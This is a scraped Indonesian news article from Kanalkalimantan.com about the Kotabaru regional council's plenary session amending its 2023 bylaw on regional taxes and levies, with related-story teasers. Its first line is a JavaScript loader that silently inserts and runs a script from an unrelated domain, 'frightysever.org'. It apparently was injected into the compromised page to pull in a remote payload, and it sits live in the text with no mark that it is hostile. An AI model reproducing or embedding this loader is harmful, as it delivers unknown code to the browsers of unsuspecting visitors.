(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru menggelar Rapat Paripurna beragenda penyampaian satu buah Raperda Perubahan Atas Perda No.10 Tahun 2023 Tentang Pajak Daerah dan Retribusi yang bertempat di Ruang Rapat Paripurna DPRD setempat, Senin (1/12/2025) siang.
Rapat tersebut dipimpin oleh Ketua DPRD Kotabaru Suwanti didampingi Wakil Ketua I Awaludin dan Wakil Ketua II Chairil Anwar dan dihadiri oleh Perwakilan dari Forkopimda, Asisten dan Staf Ahli Bupati, Kepala SKPD dan anggota DPRD Kotabaru.
Bupati Kotabaru Muhammad Rusli dalam sambutannya yang dibacakan Sekretaris Daerah Eka Saprudin mengucapkan terima kasih dan penghargaan kepada pimpinan dan anggota DPRD yang telah bekerja keras melaksanakan proses Raperda, mulai melakukan pembahasan hingga akhir dapat disahkan menjadi Raperda.
Satu buah Raperda, yakni Raperda perubahan atas Perda Nomor 10 tahun 2023 tentang Pajak Daerah dan Retribusi Daerah.
Baca juga: Cek Kenaikan UMP 2026 Kalimantan di Semua Provinsi, Potensi Naik 10,5%!
Menurut Eka, terkait proses Raperda, diketahui Kementerian dalam negeri telah melakukan evaluasi terhadap peraturan daerah Kabupaten Kotabaru tersebut.
Hasil evaluasi menunjukkan beberapa ketentuan dalam perda tidak sesuai dengan Undang Undang nomor 1 tahun 2022 dan pp nomor 35 tahun 2023 sehingga harus dilakukan penyesuaian.
Perubahan Perda ini, lanjut dia, dilakukan untuk menyesuaikan Perda Pajak Daerah dan Retribusi Daerah tahun 2023 dengan hasil evaluasi Kementerian Dalam Negeri, serta untuk memastikan keselarasan dengan peraturan perundang-undangan yang lebih tinggi.
Baca juga: Bulir Padi Tak Keluar Selama Dua Tahun di Tatah Makmur
Perubahan mencakup penyesuaian objek dan pengecualian pajak, dasar pengenaan, tarif pajak, ketentuan BPHTB, kewajiban notaris dan pejabat lelang, ketentuan opsen, hingga penyempurnaan aturan retribusi.
Regulasi ini bertujuan meningkatkan kepastian hukum, efektivitas pemungutan pajak dan retribusi, serta mendukung pengelolaan keuangan daerah yang lebih baik. (Kanalkalimantan.com/diskominfokotabaru)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.